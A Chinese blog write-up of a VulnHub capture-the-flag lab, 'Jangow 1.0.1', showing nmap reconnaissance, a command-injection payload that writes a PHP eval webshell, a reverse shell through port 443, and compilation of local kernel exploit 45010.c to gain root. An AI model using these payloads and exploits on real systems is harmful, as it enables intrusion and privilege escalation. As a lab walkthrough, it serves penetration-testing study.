打靶笔记-04-vulnhub-Jangow

前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍。

一、靶机信息

Name: Jangow: 1.0.1 (Easy)
Date release: 4 Nov 2021
Author: Jangow
Series: Jangow

二、启动靶机

2.1 校验靶机

2.2 导入Vbox,配置网络

因为攻击机器都在vmware上,所以还是将靶机网络桥接到vmnet8网卡上。

2.3 打快照,启动靶机

没啥好说的,以防万一,打个快照启动



可以直接看到ip地址,不过按照实际中的话时看不到这个界面的。

三、开始打靶

3.1 信息搜集

3.1.1 主机发现

ifconfig
sudo arp-scan -I eth0 -l



获得靶机IP 172.16.95.140

3.1.2 端口发现

sudo nmap -p- 172.16.95.140



只开放22和80端口

3.1.3 进一步确认端口背后服务以及具体版本号

sudo nmap -sV -p22,80 172.16.95.140



可以看到22端口是filtered的状态,也就是22端口被防火墙过滤了,80端口对应的是Apache httpd 2.4.18

3.1.4 使用nmap默认脚本扫描

sudo nmap -sC -p22,80 172.16.95.140



貌似没有啥发现,80端口也挂载的是普通页面,先看看去

3.2 开始渗透

3.2.1 访问80端口



是个目录,继续点,发现是个网页,然后里面有一个目录链接site,继续点



最后发现个链接指向一个busque.php文件,并且拥有参数buscar可以接收值,但不知道干啥用的,最后经过fuzz测试,确定为命令执行

3.2.2 信息收集

既然是命令执行,那就可以直接来一波简单的信息收集

id
pwd
ls
ls ./wordpress
cat ./wordpress













在进行常规信息搜集后,发现有一个wordpress的目录,并且还获取到了数据库账

不过以上好像没啥用,数据库也无法访问,也没有更多有用的目录。

3.2.3 写入小马

因为命令执行,所以尝试了各种姿势反弹shell,可能是水平不够,wget也无法下载到远程服务器上的马儿,所以就开始尝试写入小马

http://172.16.95.140/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27ant%27]);?%3E%27%20%3E1.php





成功写入,上蚁剑,连接成功



继续收集信息,获得用户jangow01家目录下有个user.txt,内容似乎是md5加密的,可以顺手破解一下,不过好像是空的,没有任何内容,奇怪



翻了翻其他目录在html目录下发现.backup文件,里面是用户jangow01的mysql账户密码

然后尝试上传反弹shell的php文件也无法反弹成功

3.2.4 反弹shell

蚁剑虽然连接成功了,但是shell最终还是个webshell,可干的事儿有限,所以还是的反弹shell提权

经历过刚刚命令执行反弹shell失败,然后尝试上传反弹shell的php文件也失败了,联想刚开始端口扫描时22端口被过滤的情况,应该是目标机器防火墙搞得鬼。

不过好在目标机器nc可以使用,不过最终也没有反弹成功,因为它无法带-e参数。

=-=

打到这儿自己就没思路了,最后查看了别人的攻略,这儿的关键点在于目标机器防火墙对进出的端口进行了限制,最后尝试了443端口可以成功利用

nc -lvnp 443



3.2.5 升级shell为tty

which python python2 python3 py py2 py3
python -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm-256color
stty raw -echo;fg

3.2.6 寻找漏洞提权

升级shell之后,就可以sudo和su了,结合之前发现的两个mysql账户名密码,尝试了以下切换用户,结果mysql的账户密码和系统的账户密码一致。



然后尝试sudo的时候失败了,好像不是英文,不过看到了个sudoer,猜测应该是提示这个用户不再sudoer文件中,也就是没有sudo的权限。

那就看看有没有其他漏洞可以利用吧

uname -r
uname -a
lsb_release -a



ubuntu的版本为16.04.1 LTS

searchsploit Linux Kernel 4.4.



这个搜索到的有很多看着比较符合,不过这个有点意思的是有个在windows的分类下,有点奇怪,先拿它看看

sudo cp /usr/share/exploitdb/exploits/windows_x86-64/local/47170.c /var/www/html/test.c



然后在目标机器上下载test.c,结果都无法搞定,应该是对方防火墙导致的。

=-=,一会儿提权成功一定要看下它的防火墙策略,最后通过蚁剑传了过去,不过gcc编译失败了



继续换linux/local/45010.c

sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c ./



然后还是通过蚁剑上传编译执行,最后成功拿到root权限

ls
gcc -o exp 45010.c
chmod +x exp
./exp
id

3.2.7 查看防火墙

bash
sudo ufw status

果然,=-=,禁止访问任何端口,除了443



关闭防火墙,可以成功访问,真变态

四、总结

这个靶机难点就是能够找到唯一可利用的443端口进行反弹shell,没有这个端口,有再多的反弹姿势,防火墙拦截的死死的,除非能用webshell进行本地提权,这个不现实,至少对我来说是的,能力不够

然后看到别人有批量提权的脚本,先记录下,随后的靶机中尝试以下

linux 提权辅助脚本



敖~,果然特么神器=-=

原谅我这个菜鸡现在才找到这些神器,应该在自己犯懒的时候先找下有没有懒人神器,没有的话自己总结搞一个,加油~~~

打靶笔记-04-vulnhub-Jangow的更多相关文章

  1. 打靶笔记-01-vulnhub-moneybox

    打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...

  2. JS自学笔记04

    JS自学笔记04 arguments[索引] 实参的值 1.对象 1)创建对象 ①调用系统的构造函数创建对象 var obj=new Object(); //添加属性.对象.名字=值; obj.nam ...

  3. JAVA自学笔记04

    JAVA自学笔记04 1.switch语句 1)格式:switch(表达式){ case 值1: 语句体1; break; case 值2: 语句体2; break; - default: 语句体n+ ...

  4. 机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes)

    机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes) 关键字:朴素贝叶斯.python.源码解析作者:米仓山下时间:2018-10-2 ...

  5. CS229 笔记04

    CS229 笔记04 Logistic Regression Newton's Method 根据之前的讨论,在Logistic Regression中的一些符号有: \[ \begin{eqnarr ...

  6. SaToken学习笔记-04

    SaToken学习笔记-04 如果有问题,请点击:传送门 角色认证 在sa-token中,角色和权限可以独立验证 // 当前账号是否含有指定角色标识, 返回true或false StpUtil.has ...

  7. Redis:学习笔记-04

    Redis:学习笔记-04 该部分内容,参考了 bilibili 上讲解 Redis 中,观看数最多的课程 Redis最新超详细版教程通俗易懂,来自 UP主 遇见狂神说 10. Redis主从复制 1 ...

  8. Java:并发笔记-04

    Java:并发笔记-04 说明:这是看了 bilibili 上 黑马程序员 的课程 java并发编程 后做的笔记 本章内容-3 线程状态转换 活跃性 Lock 3.10 重新理解线程状态转换 假设有线 ...

  9. 打靶笔记-03-vulhub-Moriarty Corp

    打靶笔记-03-vulhub-BoredHackerBlog 一.靶机信息 Name: BoredHackerBlog: Moriarty Corp(中-高级难度) Date release: 29 ...

随机推荐

  1. iOS团队代码规范

    iOS团队代码规范 工程之始可能需要的工具: 1.使用CocoaPods类库管理工具.CocoaPods安装和使用教程. 2.下载安装注释插件VVDocumenter-Xcode. 一.项目结构管理 ...

  2. ELK、ELFK企业级日志分析系统

    ELK.ELFK企业级日志分析系统 目录 ELK.ELFK企业级日志分析系统 一.ELK日志分析系统 1. ELK简介 1.2 ElasticSearch 1.3 Logstash 1.4 Kiban ...

  3. Postman接口测试脚本编写规范

    Postman接口测试脚本编写规范 1.前言 2.名词解释 3.接口测试脚本规范 3.1接口测试脚本编写的规范 3.2 Postman使用规范 4.单个接口测试 5.整个流程的开发过程 1.前言 本规 ...

  4. 初见Redis

    Redis是什么,有什么特点和优势 Redis是一个开源用C语言编写的,基于内存,可以持久化,高性能的key-value数据库,并提供多种语言的API. 它也被称为数据结构服务器,因为值(value) ...

  5. 在使用Vant中Uploader过程中遇到的坑:图片状态更改等

    图片允许多张上传,在使用file.status时总是不生效,直接跳转到成功状态,后来尝试加入了定时器:同时多张上传时采用判断数组的方式 <van-uploader accept="*& ...

  6. BI可视化在线分析工具,推荐这2个BI工具!

    ​一.国外BI----tableau   BI平台Tableau帮助企业可视化和理解数据.它使组织能够通过PC或iPad连接,可视化和共享数据.用户可以轻松创建仪表板,发布甚至与同事,合作伙伴和客户共 ...

  7. 【C# .Net GC】条件自动垃圾回收 HandleCollector类

    条件自动回收 达到指定条件后自动执行GC回收垃圾. GC中的方法AddMemoryPressure和RemoveMemoryPressure 本机资源有时会消耗大量内存,但用于包装它的托管对象只占用很 ...

  8. 通过ILSpy反编译工具和ilasm修改.NET程序

    文章来源:https://blog.peos.cn/2016/12/26/ilspy-ilasm-ildasm-net.html 金庸群侠传X中,田青文.木婉清.王语嫣的点穴游戏忒难过了,所以上网摸索 ...

  9. 一个简单的性能计数器:CodeTimer

    public static class CodeTimer { public static void Initialize() { Process.GetCurrentProcess().Priori ...

  10. 匿名函数 =匿名方法+ lambda 表达式

    匿名函数的定义和用途 匿名函数是一个"内联"语句或表达式,可在需要委托类型的任何地方使用. 可以使用匿名函数来初始化命名委托[无需取名字的委托],或传递命名委托(而不是命名委托类型 ...